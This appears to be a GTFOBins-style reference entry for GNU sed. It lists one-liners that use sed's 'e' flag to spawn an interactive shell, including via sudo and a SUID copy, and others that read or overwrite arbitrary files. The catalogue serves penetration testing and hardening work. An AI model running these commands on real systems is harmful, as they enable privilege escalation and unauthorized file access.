description |
code |
GNU version only. Also, this requires `bash`. |
sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts |
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description |
code |
GNU version only. |
sed -n "1e id" /etc/hosts |
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description |
code |
GNU version only. Also, this requires `bash`. |
sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts |
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description |
code |
GNU version only. Also, this requires `bash`. |
./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts |
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code |
LFILE=file_to_read
sed '' "$LFILE"
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code |
LFILE=file_to_write
sed -n "1s/.*/data/w $LFILE" /etc/hosts
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